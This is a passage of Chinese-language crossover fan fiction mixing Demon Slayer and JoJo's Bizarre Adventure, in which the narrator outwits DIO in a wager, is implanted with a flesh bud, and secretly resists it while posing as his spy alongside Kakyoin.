过几天莱拉就要回来,如果不能彻底解决花京院典明这个不确定的因素,这样绝对会影响莱拉的平静生活。
于是,我啃着香喷喷烧饼,目视着花京院典明在警局旁的树下醒来,就一路尾随着他过去。
如果绑架我是他们这伙人的目的了话,那么在任务一直无法顺利进行的情况下,他肯定要亲自向幕后指使去做汇报。
毕竟,这个时代的移动电话没那么好使。
我咬下了最后一口香喷喷烧饼,看着花京院典明神色紧张地进入了一座看起来有些古老的公馆。
我轻巧地攀上了对面建筑的屋顶,小心地观察着。
这个建筑物的大小约莫有之前的产屋敷宅那样大,还带着个精致的花园。从我这个角度能看到的窗户里都有着厚厚的黑色窗帘,一丝阳光都应该透不到里面。
真奇怪,难道这么大的房子,在白天也全是靠灯光照明吗?
我在这里蹲了半个小时,并没有看见什么人员往来,也没看见花京院典明出来。
我并没有贸然闯进去。
老实说,这房子总给我一种很不妙的感觉。就像小孩子第一次被关进黑暗房间一样,下意识地会产生的那种恐惧一样。我在看见这房子的第一眼,就觉得喉头发紧。
此时夕阳西下,太阳快要落山了,血色的晚霞更是给这间公馆蒙上了些不祥的色彩。
我是个相信直觉的人。
不会在半夜去玩笔仙游戏,我也当然不会直接在这时进入这种一看就是什么幕后boss在的地方。我猫着腰,悄咪咪地后撤。
我对自己隐藏自己气息的能力还是比较有自信的,几乎能逃过对着自己血液转化的鬼有感应能力鬼舞辻无惨的眼皮。可以说,只要我不想让别人发现我,那么别人就一定不能发现我。
所以今天就先行撤退吧。明天中午再来一探究竟,或许可以直接报警举报这里干传销呢!
我想着一看就是被寄生虫之类的东西控制的花京院典明,觉得传销这理由可能还得稍作修改,或许说是研究大型杀伤性武器呢?
我还没想出应该选取什么报警理由,突然觉得一阵心悸,我下意识翻身离开原位,就看见一只隼正直直盯着我。
我原先站着的地方,已经变成一片狼藉,就像是被机关枪直接扫射过一样。
这隼?
我暗暗心惊,却听到有什么声音从我背后传来。
我分过神转头看了一眼,远处,公馆的门缓缓打开。那只隼伸出翅膀滑翔而去,站在了公馆打开的大门上。
一个脑袋像烟囱面包,穿着白色西装,内罩一间紫色爱心黑t的男人站在门口,迎着我的视线,身体挺拔微微侧身,一只手掌心向上指向宅邸打开的大门。
“月彦小姐,我奉DIO大人的命令前来迎接你。”
DIO?
我下意识看向了二楼的窗户,之前紧拉着的窗帘微微露出了一个角。
46.boss直面
虽然我之前一直觉得兵来将挡水来土掩,但是在敌方老巢前被发现果然还是不在我的预料内。
我收回了看向二楼的视线,望着凶狠的隼和那个穿着古怪的白西装,脑中默默复盘。
我究竟是怎么被发现的呢?想不通。
我能保证,在我观察期间那个二楼的窗帘都是紧紧拉着,没让我窥见室内任何一点。而直到我被袭击前,那只隼应该也只是站在公馆的庭院内,从它的位置,不管怎么说都不至于能观察到我。
那么他们是怎么发现我的呢?难道是热成像这类现代科技吗?可是如果是这样的话,那应该一早就发现我了。
唉,我引以为傲的隐藏能力......
难道这就是人外有人、天外有天吗?
“月彦小姐?”白西装显然不如他表面上那么有耐心,见我神游天外,他还是开口催促。
“我是泰伦斯·T·达比,这个公馆的管家。这是宠物店。我们奉DIO大人的命令前来迎接你,顺便邀你一起共进晚餐。”他又将之前的话重复了一遍,嘴角的假笑彰显出他的不耐烦。
那只叫作“宠物店”的隼也张了张喙,似乎有什么可怕的东西在其中酝酿。
吃饭什么的,真的不需要这么热情。
“哎。”
我叹了口气,表面笑嘻嘻态度却很强硬的白西装男人,站在大门上的隼的目光都随着这声叹息越发集中在我的身上。
“今天就算了吧。”我摊了摊手,显示出自己两手空空,“我可没带什么东西上门,这样来拜访未免太失礼了,还是下次再说吧。”
没等话说完,我就闪身开溜。
天色渐晚,太阳已经彻底消失在空中。
这个公馆给我的感觉更加不妙了--如果现在不走,那肯定就来不及了。
三十六计,走为上策。
如果只是这一人一隼了话,就我的直觉,我应该能打赢。拼身体强度了话,我可是不会输的。
那个漂亮的隼在我身后发出威胁的叫声,我感到有什么冰凉的东西如机关枪一般快速袭向了我身前。
我一个急刹车,再次调转方向,直接跳下建筑去,向着宽广的大路跑去。
人的速度和隼根本没法比。
当那只隼在空中滑翔时,整个街道都变成了它的主战场,它贫乏的攻击使得街道变得坑坑洼洼,沥青铺陈的道路如果雨后的烂泥巴路,被这隼造得一片狼藉。
我飞身再次闪过一个看不见的袭击,总觉得这样不是办法。
公馆这里地处偏远,现在也是人少的时候,所以这样攻击伤不到路人。如果去大路上那就不一定了。
所以果然还是得在这里就解决这个隼吧!
宠物店眯了眯眼,尖利的喙再次放出攻击。
这次的攻击依旧没有击中那个女人。她就像背后长了眼睛一样,总是能提前预判它的攻击落点并迅速躲过。
而现在--
那个女人突然停下了逃跑的步伐,转而向个巷子里冲进去。
呵,蠢货!这样狭窄的地方她还怎么躲过自己的攻击。
宠物店的眼睛划过一丝嘲讽,他猛地俯冲下去,打算让这个女人为自己轻率的逃跑路线付出代价。
宠物店此刻简直化为一颗子弹,快速冲向了那个黑发女子。
3米。
2米。
1米。
这个蠢女人竟然还背对着她。
宠物店再次张开了喙,恐怖的冰系攻击在其中酝酿,这回,这个女人绝对逃不掉。
就这样将她带给DIO大人吧!
可是,意外发生了!
还没等他的攻击释放,那个一味躲藏的蠢女人,整个身体以一个惊人的速度180度转身,身体如最灵敏的猛禽般一跃而起,那双长臂一抬,强有力的双手直接抓住了宠物店的喙!
什么!
宠物店的身体甚至还没控制住俯冲带来的力道,一个劲栽到了那个女人的手中。
纵使是奋力挣扎,会也依旧无法挣开。
它的利爪也不是吃素的!
只是还没等它挥下猛烈一击,那个女人就及其熟练地直接握住了它的腿一捏。
宠物店顿时感到自己失去了力气。
“没想到当年学的抓鸡手法还是一样好用啊。”那个女人的声音似乎还带着一丝满意。
可恶!我才不是什么鸡!
*
按着以前抓鸡的手法,我成功控制了这只看起来很不好惹的隼。
我掰扯这它的脑袋,看到它漂亮的眼睛里浮现出人性化的不甘、怨恨、愤怒。
哦,小东西还挺通人性的。
我轻松地控制着它,思索着一个更为紧要的问题--这个隼,应该不是什么保护动物吧?
不然应该还挺麻烦的。
我一撇眼,发现远处那个穿着白西装的奇怪男人面色难看地盯着坑坑洼洼的地面,但是并未向前来。
看来不是擅长肉搏的家伙啊。
我暗自思索,边闪身离开边准备处理一下手中的隼。
又是一阵莫名的心悸,好似一种来自地底的风吹进了这个世界。
我感到一种死亡的黑暗的气息,鸡皮疙瘩开始爬上了我的后背。
我下意识抬起了头,看向了那二楼。此时那里的帘子已然全部拉开,黑色的帘子随风摆动一个看不清面容的高大男人站在窗前,背后有一排的晃动烛光。
咦,身材倒是不错,就是为什么他穿着黑色紧身衣,还要外罩黄色开档装?
我愣了一秒钟,立马清醒过来,不对,现在不是想这个的时候!
这个人,这个排场,应该就是他们说的DIO吧?
似乎感到了他的出现,我手中的隼挣扎地更加厉害了起来,那个白色西装男也顺着我的目光看过去,恭恭敬敬地喊了声“DIO大人”。
他的身体确实看起来挺健壮的,不过,这应该也不能算作什么。那种心悸的来源究竟是什么呢?
我的视线继续在DIO身边打转,但仍旧没发现什么。
对着我的视线,DIO身前的窗户自动打开,他没有动作,一双微微上
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挑着眼睛直直盯着我,脸上带着一种淡淡的微笑。
金色的头发有着动人的光泽,白皙的皮肤有一种玉的质感,比起鬼舞辻无惨的那种惨白,它显得更有力量和诱惑力。那张脸就算比起鬼舞辻无惨来说,也是不逞多让,有一种妖异的美感。
“月彦,我想见你很久了。”随着话语,他的微笑更加柔和,这种笑容会让人怀疑他是你相识已久的老友。
不行,好想笑,憋住。
鬼舞辻无惨,你也能有今天。居然会被一个外国漂亮男人这个gay gay的喊着名字。
他喊出“月彦”的荒诞感让我瞬间摆脱那种被魅惑的感觉。他这么一喊,我总觉得化成灰的鬼舞辻无惨都能被吓得活回来。
算了,别活比较好。呸呸,呸呸,没说出的话不算哈!
而且,果然就是这家伙一直在窥伺着我吧!脸皮真厚啊,偷窥的家伙!
我抿了抿嘴,确定平静下来后,才很有礼貌地回应了对方。“哈哈,DIO先生你再想久点也没关系“
“不过,你瞧这今天都这么晚了,我也没带东西,实在不好意思,就不登门拜访了哈。”我狗狗祟祟笑着,边说边挪动着自己的脚。
虽然这么说着,我也不指望自己真的能撤退。但是话又说回来了,伸手不打笑脸人。这种危机时刻,边打嘴炮边溜总感觉性价比高一些。
就赌一个对方不留意,赌输了显然也不算吃亏。
“哦~”一声奇异的咏叹从DIO嘴中溜出,他看着我,眼神莫名充满了一种慈爱。
“那就先请你把我的隼还给我吧。”
听着他的话,我却感到莫名发冷。
真奇怪,只是还隼了话当然没什么,现在就扔给你---
咦?
在这将要动作的当下,我忽然惊觉手里一空,那只隼竟然凭空消失了!
“真是辛苦你了。”远处传来DIO有些低沉的声音,我抬头看去,那只隼竟然已经出现在他手上了。
怎么回事!难道他身边有什么像鸣女一样的会空间控制的家伙吗?这就好像凭空转移一样!
我觉得自己额角可能划过了冷汗,DIO温柔地抚摸着叫作宠物店的隼,又再次抬眼看我,“月彦,真是个听话的好孩子。”
嗯?
不行,又好想笑,能不能别在这个时候说这种像是调情的话,这么紧张的时刻我真的笑出来怎么办!
我咬了一下自己的腮帮子,尖利的虎牙磨着自己的肉,我一机灵立马精神起来。
DIO能做到这种隔空传物的秘诀是什么?别告诉我这就是替身使者的能力吧?
我想我的脸色并不好看,因为DIO看着我,突然噗嗤轻轻一笑,眼中显示着愉悦,面容更显出一种奇妙的魅力。
“我们打个赌吧?”他将手撑着白皙的脸,金色的头发随风而动。
“我能拒绝吗?”
DIO摇头,显得很是愉悦,“我们就赌你1秒内能不能到达那个建筑吧”。
“如果你没到,那就说明我们今天注定要一起用餐呢~”
47.boss直聘
这一看就有诈。
DIO甚至默认我会失败,他甚至没说如果我能到达会怎样。
何等的傲慢。
我环视了一圈,无论是那个白西装的泰伦斯·T·达比,还是那只躺在DIO手上受伤的隼,此时脸上都表现出了一种从容--他们坚信我绝对不能在1秒内到达那里。
或者说,他们坚信无论如何,DIO都能阻止我1秒内到达那里。
这样的胸有成竹--
但我不得不上。
DIO的出现使我重新考虑了现在的局面,我大概率不能强行离开。
我看了看dio指着的那个建筑,离我不算太远,大约10米左右。
猎豹的最高速度大约是每秒33m,不过这属于是属于全力奔跑后的均速。
而正常人类或许最高速能每秒12m。而刚开始跑的第一秒时还会受到起步的限制,速度会更加慢,起跑1秒内就跑10米对于大多数人来说都不是一件容易的事。
不过,我应该能做到。
现在还不清楚DIO的后招,就算我现在再怎么打哈哈也无法直接糊弄过去然后溜之大吉,倒不如借此机会摸清一下dio的底细。
用肉眼衡量了一下我与建筑的距离,我转头再次看向DIO。
“那如果我赌赢了呢?”
似乎没想到我会这么回问,DIO的眉毛向上挑起,眼里显现出强烈的兴趣。
“如果你赢了~”DIO将这句话在嘴里咀嚼了一番,才带着笑意将其说出,“那我当然尊重女士的意愿,期待下次见面。”
呵。下次见面。
我简直无法抑制自己的冷笑了,这句话比起退让更像是一种威胁,倒是让我火气上涌。
“那就让我们开始吧。”我指着远处的钟塔,微微眯了眯眼,“现在是19:58:55,我会在19:59:59出发,等到1秒过后,20:00:00到达,钟塔将会敲响钟声,还请DIO大人见证我是否能到达吧。”
*
愤怒是最好的毒药。
DIO看着那个名叫“月彦”的东方女人略含愤怒的双眼,笑容忍不住加剧。
“当然可以,月↑彦↓”
时间一分一秒的过去。泰伦斯·T·达比拿着一只计时器在胸前,紧紧盯着。
滴答滴答,泰伦斯·T·达比先摁下了秒表,19:59:59也到了!那个名叫月彦的东方女人以一种惊人的速度冲了出去!
泰伦斯·T·达比看着女人冲出去的速度心中一惊!
这个女人之前躲避宠物店的攻击时难道还藏拙了?!多么惊人的速度,她已经使用上替身了吗?
眨眼间她就已经到达了那座建筑,或许是不到半秒,几乎让人反应不过来,她的嘴正张开着,似乎将要说什么。
--【THE WORLD】--
就在这一瞬间,DIO动用了他的替身能力,时间瞬间静止!
在静止的时间中,DIO指挥着他的替身【世界】,将已经站在了指定建筑上的东方女人搬到了原先出发的位置,甚至好颇有闲心地调整了一下她的姿态,看起来和出发时没甚么两样。
看着女人微张的嘴,DIO很是遗憾地摇了摇头。
这女人身体素质惊人,但终究还是比不上自己,而且竟然敢到这么关键的时刻还不放出自己的替身。这样的大意简直让人发笑。
不过,她倒是有几分才能。这样的人很适合种下肉芽。
操纵着世界回归,DIO嘴角的笑意加深。
“木大木大木大。”
无论是什么样的替身,都不是他的替身【世界】的对手,他已经掌握了时间,这场赌约注定是他赢了。
--现在,时间继续流转吧--
泰伦斯·T·达比盯着秒表,现在已经过去了半秒了,那个女人已经!
咦,那个女人竟然还呆在原地?!
他恍惚间觉得自己眼花,但是下意识明白了这是因为什么--这一定是DIO大人的力量,如此深不可测!他或许能控制所有人!他是真正的支配者!
可是,没等他心惊,那个女人不知何时已经张开的嘴中传出了飞速吟唱“我赌我不能到达!”
她话音刚落,准点的钟声开始敲响。
现在,是20:00:00。
1秒已到,那个女人,根本就没到达指定建筑。
泰伦斯·T·达比扭过头,仰望着正在二楼的DIO大人。
他的角度,根本看不出DIO的表情。
*
我低下头,看到自己果不其然没有到达约定的建筑,甚至连一步都没迈出去。
我抬头,看着DIO的表情,只觉得自己因为高速吟唱差点要断的气一时间都顺了。
“DIO大↑人↓”我无法抑制自己嘴角上扬,礼貌地向那位二楼的金发男人咨询,“这个赌约,我想应该算我赢了吧。”
毕竟,在赌约开始前,我可没说自己要赌能到达,我只说自己“赌赢了”。
这只是一个饱经折磨的打工人从一大堆变态的合同条款中学习的文字陷阱,罢了。
那么,对面的家伙,愿意愿赌服输吗?
我紧紧盯着DIO那张妖异动人的脸,不放过他脸上任何细微的神情。
夜风抚动DIO漂亮的金发,他的眉毛皱起了一瞬又很快松开,他的舌头从嘴中伸出,轻轻舔了一下浅色的上唇,那双眼尾上挑的眼睛里眸光更甚。
“很有趣~”DIO收起了支着窗户的手,他将宠物店到了室内的软垫上,喉咙里发出愉悦的笑声。“说真的,你真是超乎我的预料啊月彦~”
边说着,他甚至还鼓起了掌来。啪的声音伴随着他的笑,在夜晚中显得尤其诡异。
“这场赌约,当然可以算你赢。如果这样的巧思不被认可了话,我很担心之后世界里只会充斥着一根筋的家伙。”DIO边说着,边摇头,似乎很是无奈。
“很可惜你不愿意与我共进晚餐~”DIO耸了耸肩,脸上带着点苦笑。
我点点头,并不打算等他说什么,脚步直接迈开。
跟这样的角色嘴炮总感觉是自己吃亏,我说不给他,先跑再说。
不然我总有不妙的感觉,就像之前潜伏结果在公馆前被发现一样。
“我需要点聪明人,月彦~”DIO的
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声音突然变得很近,甚至没有一眨眼!他就已经出现在我逃跑路线上了,DIO离我根本不到半米。
我只觉呼吸都暂停了!
什么时候!
可怕!
就在那霎时的惊恐产生的时候,我发觉有某种藤蔓出现在DIO的身后,然后刹那间已经到达了我的眉心。
我用尽自己最快的反应速度来躲避,但是依旧来不及。某种锐利的尖刺从藤蔓中伸出,直直扎进我的锁骨处。
可恶!
“竟然!”看着那枚熟悉的像是章鱼一样的东西扎入体内,我不由感到了恶心,意识也开始昏沉了。
“DIO大人。”我看着近在咫尺的金发男人,发出了最为恭敬的声音。
“很高兴该次见面,月彦。”DIO伸手,指尖顺着东方女人的眉心划向了锁骨。在那里,刚种下的肉芽微微蠕动,像是在响应他的动作。
*
种下肉芽的人会成为自己最忠心的奴仆,他们会全心全意为自己服务,不会有任何背叛自己的想法。虽然会保留自己的性格和习惯,但是无疑成了自己最好用的工具。
DIO带着黑发女人,走进了自己的房间。
有的人正在处理DIO的食物残渣,见他过来,不由停下来动作,眼神充满着令人难以理解的崇敬和痴迷。
这个房间位于公馆的二楼,需要破除重重幻想,经历过无数他手下的替身使者才能到达。而现在,由他带领着,那个黑发女人乖顺恭敬地跟在他身后,一路畅通无阻。
来到了房间内,DIO坐在了他常用来看书的舒适椅子,从旁边堆着几本书的书桌上随机抽出了一本书,慢慢看着。桌上的书很杂,似乎还有着一本漫画书。
烛火昏暗,他阅读却好像不受影响。
黑发女人看起来很是乖顺,她只是看了一眼DIO,见他暂时没有搭理自己的打断,便不出声,默默隐身。
这种隐身不仅是社交概念上的。DIO从书中抬眼,看向那一瞬间几乎好像存在感消失的女人,轻轻笑出了声。
“很好~”DIO向黑发女人招手,等她恭敬地压着身体靠近了,伸手抚摸着她的头发。
手下的身体僵住了一瞬,而后才露出了她受宠若惊的面孔,那双黑眸微微震动,昏暗的灯光下难以分辨情感。
“月彦,你愿意帮我一个忙吗?”
女人没有犹豫,狠狠点头。由于点头力道之大,甚至直接将头移出了DIO的掌下。DIO轻笑,向她将起了过去的故事。
他在百年前与一人搏斗,受伤后只剩头颅被葬身大海。他夺走了伤他那人的身体存活下来,但是那身体的子孙有所感应,随着他的苏醒也觉醒了替身能力,现在正想向他复仇。
所以。
“做我的眼睛吧,月彦,凭你的身手和隐藏能力,替我去看看乔斯达家的那群人究竟要怎么做~”他的声音缱绻悱恻,像是情人的低语。
我继续狠狠地点点头,低垂头,扮演性格深沉DIO死忠下属的角色。
我将目光移至自己的锁骨,听着DIO的声音,也忍不住微笑。
--谢谢你,我的血鬼术好像变得明朗了起来。
48.待改!
二楼的紧闭的房门被打开,一个女人恭敬地向里面说着什么,然后转身离开。
她的脚步像猫儿一样轻,甚至让人怀疑她是否踮着脚在走路。可是低头一看,却是不然。只要一个没留神,再看过去,她的身影就已经消失在原地了。
简直就像是个幽灵一样。
“哟,花京院少年。”清冽的女声突兀地从身后传来,花京院典明的肩膀上搭上了一只手。
花京院典明一惊,猛地转身,却见那个黑发的女人一个滑步后撤,站在第一节楼梯上,脸上带着一种莫名的浅笑。
她看起来心情似乎不错。
这是花京院典明的第一感觉。
不过这样的笑容似乎也出现在他每次被绑前。花京院典明觉得有些不自在,下意识看了看四周,很好,并没有什么合适的绳索。
他几乎是下意识地松了口气,拍了拍自己肩膀并不存在的灰尘,回望着这位刚刚归顺DIO大人的家伙。
“月彦小姐,这样不打招呼就拍人肩膀似乎很不礼貌啊。”
他虽然不知道这个女人进入DIO大人的房间究竟说了什么,但是他能肯定,她现在一定完全臣服于DIO大人了。
粉色刘海下的肉芽微微蠕动,似乎在响应着花京院典明的想法。
听到花京院典明的抱怨,女人脸色不变,眼神在花京院典明的脸上游走了一圈,才施施然地注视着他的眼,轻轻笑了一下,“抱歉抱歉,确实是我的不对。”
“作为赔礼,不如让我请你吃顿饭吧,花京院少年。我猜我们之后还得共事一段时间呢?”
请他吃饭?
想到一开始直接支使他买水还把他给捆在警察局门口的豪举,花京院典明的眼神充满怀疑。
*
你好,刚被箭扎,已出公馆,准备出差,现在状态良好。
我大步走进了之前被假“莱拉”宴请的高档餐厅,招呼着身后的花京院典明坐下。
“来来来,别客气,想吃什么点什么。”我这么说着,拿着菜单给自己点完了菜,却发现粉发少年的眼神充满着怀疑。他穿着一身绿色学生制服,抱着手,站在椅子旁边,却并不落座。
“你该不会--”他环视了店内奢华的装潢一圈,皱着眉头看着我,“你要是想吃霸王餐也别带上我,我是不会替你付的。”
诶,他跟那个会变身的家伙认识吗?总不至于我的名声已经在DIO手下内部传开了吧。
我移开了视线,不自觉提高了音量,“真是无端的猜测,这样子污蔑你的同事真是失礼啊花京院少年!”
我从口袋里掏出鼓鼓囊囊的钱包,在花京院不可置信的眼神中从中利落地夹出一张大额面钞,“还不开始点菜吗?”
花这钱我是一定都不心疼。因为,这是公款报销!
我回忆起在DIO房间内见识到的那几乎半屋的古董和金银珠宝,不由咬了咬牙,表情有些狰狞。
这可比我那一莲花宝座的财宝多得多,简直是它的十倍,不,应该说是百倍有余。
“如果你能替我完成好任务,我会给你应有的奖励。”那时DIO说着,手指着那一堆财宝。
“做好我的眼睛,帮我监视乔斯达家族向我的行动,我会分给你其中的千分之一;而如果你能成功杀死他们......”DIO的话里带上了蛊惑的味道,“你将能得到全部。”
我不得不承认,在听到这里时,我的呼吸都难以抑制地暂停了一瞬。不需要刻意伪装,对于这种俗物的喜爱让我那一瞬间充满了狂热以及斗志。
随后,DIO之后还承诺任务重的费用全部都能报销,他随手扔给我一个鼓鼓囊囊的钱包,我随手一打开,就被那大面额的钞票惊得瞪大双眼,眼里写满虔诚!
“既然DIO大人如此相信我,既然DIO大人愿意雇佣我,那么,我会努力完成自己的使命的!”
我记得自己当时是这么说的。
当然,我并没有说谎,这既不是被洗脑控制而过分狂热,也并不是什么虚以为蛇,这是我的真心话。
DIO.....雇佣....我的使命
反正打工人的使命也不是完成雇主的愿望,我的使命只是让自己更好,所以努力完成什么的,根本没有问题,这样的话并非谎言。
而且,这完全构成了我之前血鬼术的条件--一旦你将雇佣你的人**,你将继承ta的**
因为DIO对我的攻击,我还意外地验证了自己的血鬼术真的实施过。
看着花京院典明点完了菜,我瞄着他刘海下的那个蠕动着的DIO肉芽,又摸了摸自己锁骨处的东西--那里也有一个肉芽。
不过,那玩意并不能控制我!
要说为什么了话,应该是拜DIO种肉芽所赐,我发现自己继承了鬼舞辻无惨的什么--他的部分细胞。
虽然这么说有些恶心,但是他的部分细胞似乎确实还存在于我的体内。
因而面对外来的肉芽尝试入侵时,细胞下意识地进行了反击和吞噬。
但是这产生了一些影响。
好消息:鬼舞辻无惨的细胞成功抵御住了DIO对我的思想控制并没有引起DIO的注意。
坏消息:由于细胞并不多,并不在我身体中占主导地位,如果要悄无声息吞噬掉DIO的肉芽大概需要两个月左右的时间。
菜已经开始上了,我尝一口,眼睛发亮,果然还是很好吃,而且加上是花DIO的钱吃饭,总觉得这饭更香了。
话说,如果血鬼术也能对DIO发动了话,那我能不能继承那一屋子的财宝呢!
嗯哼,一想到这个可能性,吃饭就更香呢!
花京院典明看着对面突然加快用餐速度的黑发女人,大吃一惊。
这家伙,不会真的要快点吃完然后就跑路吧!那个拿出来的钞票难道是唬人的□□!
看着满桌的食物,回顾这菜单上的价格,花京院典明的脸一黑。
--【法皇之绿】--
花京院典明召唤出自己的替身。法皇之绿翠绿修长的身体伸展着,触角延伸至整个房间,像是给这里罩上了绿色的蛛网。
但是这并没有减缓女人的用餐速度,她只是抽空瞥了一眼,凝视了几秒,然后又低下头继续用餐了。只是她的身后,一个诡异的身影慢慢浮现。
这就是她的替身吗?竟然是这幅姿态吗?
花京院典明不由愣怔,手上的动作又慢些,他身前的一道菜又很快消失殆尽。
放下餐具,女
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人拿着餐巾擦拭着根本没沾到什么的嘴角,眉头舒展,带着一种饭后的餍足。
吃完饭,她整个人的气质更显得平和,那双黑眸看向花京院典明,话里带着一些郁闷,“这点事情不需要召唤替身吧少年?我是不会跟小孩抢菜的,喏--”
她将菜单递给花京院典明,话里带着点笑,“该长身体的时候还是多吃点东西吧,你再点一下吧。”
半信半疑,花京院典明看着她稳稳坐在椅子上,似乎真的没有逃单的意思,于是也慢慢收起法皇之绿,接过了菜单。
女人的声音从对面传来。“不过,你的替身真是漂亮啊,这样的绿色,让人觉得真的能放出绿色宝石呢。”
她之前不是见过吗?花京院典明觉得有些古怪,从菜单中抬头,他想呛声说着什么,却发现女人望着逐渐隐去身影的法皇之绿,眼里是纯然的欣赏和一种莫名的憧憬。
真是奇怪。
花京院典明难得走神了会。
*
不过话说回来,DIO的手下似乎都是替身使者。虽然之前我凭着自己的某种直觉能感受着所谓的[替身]的行动,但是我还是无法看见替身。
--直到离开DIO房间前!
走出DIO房间前,我还是忍不住假装路过那半屋子财宝和古董,长久地深情着凝视着他们,然后在DIO看过来时假装无事发生。
结果就在要离开时,我竟然被财宝堆里一个莫名其妙的箭矢划伤了脚踝。虽然凭借着我的治愈能力,伤口瞬间就愈合了。
奇怪,之前仔细欣赏财宝时并没有注意到这只箭的存在?它是怎么出现的?
还没等我想通什么,DIO突然抬头,看向我,发问,“月彦,你的替身能力是什么呢?”
昏暗的灯光下,DIO的手摩挲着自己的嘴唇,身子微微前倾,那双眼里映着烛火。他在等着一个回答。
可恶,这是什么送命题吗?以前编的关键时候力量增倍能说吗?替身要不就叫“超级大金刚”或者是“力量倍增”。
和我打架的替身使者只有花京院典明会大喊[法皇之绿],这和我编的好像格格不入,不过我根本没其他能参考啊!
总感觉DIO这家伙没有鬼舞辻无惨那么好糊弄啊!
我正努力头脑风暴着,忽然感到锁骨处的肉芽跳动着,一时间福至心灵。
我对着DIO微笑了一下,回忆着之前见到的白西服管家的模样--烟囱面包头,白西装,爱心内搭。
成了!
眼前的黑发女人顷刻间变成达比的样子,只是神情与泰伦斯·T·达比还是有明显差别,这个“达比”的嘴巴一张一合,介绍着自己的替身的能力。
原来是和欧因哥同类型的替身,甚至细节处理上还不如欧因哥。
DIO的兴趣像是一尾游鱼直接溜走了。他将手指下移,摩挲着怀中的书页,收起了自己即将发出的轻叹。
“替身能力没有强弱之分,只要你应用得当......”真是可惜了她这么强的体术。
我看着现老板假意挽尊,想起了在阳光下化成灰的前老板,不由被前老板的临终礼物而触动,面上也多了几丝真切的感动。
鬼舞辻无惨,你细胞和变身能力,真好使!
49.出差
和花京院吃完这顿饭后,我觉得我们之间建立起来一定的同事情谊。
所以现在适合问一点深入的问题了吧!
当然我明白规矩!现在还不能问五险一金、对方工资,但是关心一下现在的共同老板总是没问题吧。
“花京院少年,你了解DIO大人吗?”黑发女人摇晃了一下高脚杯里的红酒,好像只是随便说说。
高档的红酒色泽漂亮,在包间的灯光下更显现出紫玛瑙的光泽感。花京院典明透过酒杯看向黑发女人,觉得她的脸上被镀上了一层柔和的光。
花京院典明下意识顺着她的话回想起DIO,却发觉记忆中对于DIO的记忆停留在上次他布置命令时,吩咐花京院典明将这个叫作“月彦”的女人带到他身前。
可是这应该不是他和DIO大人的出面。如果要说初次见面了话.......
顺着这个思路继续回想,然而脑袋瞬间剧痛无比,像是有什么虫子直往脑袋里钻,搅的里面昏天黑地的,让他的太阳穴抽疼。
好疼.......花京院典明无法继续思考下去。
“你是什么意思?”花京院典明捂着脑袋,忍不住大声质问。
他还没等来女人的回应,有什么东西就轻点了他的额头,一触即离。随着那东西的离去,脑海中的疼痛也似乎被它牵引着离开。
粉色的刘海遮住了视线,花京院典明有些昏沉地追随着那给他缓解痛苦的东西,抬眼,却发现那黑发女人刚收回手指。
他看不清女人的神情。只是感觉,她看向他的眼神带着一种对于过去的追忆,她或许是笑了又或许没有。
“嘛嘛,我只是想更了解DIO大人而已,别这么紧张?想不起来也不需要要去使劲想。”女人将杯中的酒一饮而尽,看着他渐渐清明的眼神笑了一下,“毕竟我们应该都是刚加入啊......来日方长吧。”
虽然我认为让未成年人加入的组织一定撑不到来日方长就是了......
就花京院典明的这幅表现来说,我终于能想起自己对于DIO肉芽的莫名熟悉感从哪里来了!
这不就是鬼舞辻无惨喂人血肉控制人的方法嘛!而且这种一触碰到核心记忆就会使被寄生者疼痛从而不再去想的设定也很相似啊!还有那种只要违抗命令就会被寄生的东西夺取性命的方式也太熟了吧!
没想到随着时代的进步,食人鬼的发展下属的方式也没什么根本的改进。
我能感受到DIO的肉芽在我体内一直尝试往我的大脑方向走,这一方面能控制我的思维,一方面也能随时终结我的性命。
一旦它发狂,在我体内快速生长,那么后果不堪设想。
虽然关于DIO的肉芽除了被触碰会攻击触碰者以外,我并不知道还有什么别的触发条件,但在没有别的参照的情况下,还是小心谨慎,假意服从DIO来的稳妥。
我砸吧砸吧自己嘴里高档红酒的残留味道,有些意犹未尽。
我对于花京院典明体内的DIO肉芽也是爱莫能助,只能用体内少量的鬼舞辻无惨细胞对DIO的肉芽进行一个诱导,使得花京院典明好受一点。
不过就花京院典明的表现来说,他应该根本不了解DIO,怕是被看上然后直接强取豪夺转化为下属的。想要从中打探出DIO替身的底细和弱点应当是天方夜谭。
“话说回来,你住哪里呢?”本着大人的责任感,在吃完晚饭后,我还是初次礼貌问候了这位新任同事的晚归问题。
但是我没想到......
“我是和父母一起住在那个度假酒店。”花京院典明指了指远处的一座建筑,不以为然。
不是,你的意思是你和父母一起出来度假的途中还要抽时间给DIO打工吗?一时间真说不清是你的这种时间管理比较惨还是我全职打工比较惨。
不过唯一能确定的是--DIO,你真是不做人啊!
*
开罗某处公馆的二楼,昏暗的灯光下,DIO忽然合上了书。他眯了眯眼,放出【世界】环视四周,却终究是没发现什么。
恩雅站在一旁,遍布着褶皱的脸上,一双眼睛滴溜打转。那双眼睛却不像同龄的老者,充满浑浊,反而,写满着阴毒和警惕。
“DIO大人,您感觉到了什么呢?!”她转头看向DIO,眼里的阴毒和警惕一下子化为一种狂热的尊崇与敬畏。
DIO摸了摸自己的后颈,白皙的肌肤下,一道狰狞的伤口像是分界线一样将身体切割,这表示着这个身体还未与他完全融合。
他的手从脖颈处滑下,落到后肩,摩挲着某块皮肤,一个奇异的星星的印记在那里出现。
“是乔斯达家的人在窥伺我吗?”DIO站起身,手抚上自己的脸,只露出一双带着寒意的眼睛看着恩雅。
恩雅露出了凝重的神情,“如果DIO大人您能感受到了话,那大概是乔斯达家族的人对您的影响。我有一种预感,他们会成为您的威胁,必须要尽早除去!”
“与乔斯达家族的恩怨,确实要尽快了结。”DIO从桌上抽出了一本奇异的漫画书,将其打开--这正是波因哥的漫画书,上面能显示出预言绝对能变为现实。
“命运~”抚摸着没有显示的书页,DIO将其扔到了一旁战战兢兢缩在角落的波因哥手中。他通过了这本书提前预言到了那个名叫月彦的女人的行动,从而给她种下了肉芽。
无论是她潜伏在公馆外,还是说出的[赌自己不能到达],都在他的预料之内。
如果真的有命运,那么命运必然垂青于他。
DIO的喉咙中发出轻笑,他抬起手,食指与中指相触呈“V”形,掌心向外,对着烛火,露出一只眼睛。
“我已经预备将眼睛放在乔斯达家族身边,无论他们做什么,我都能一清二楚!”
虽然那个名叫月彦的女人替身能力确实一般,但是就凭借她的隐蔽让他都能以察觉,乔斯达们身边将会无声无息地插入着他的眼。
长期的潜伏,再加上她的变身能力.......
多么美妙的一道暗棋!
“wry
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yyyyyyyyy!”DIO的笑声愈发轻狂。
*
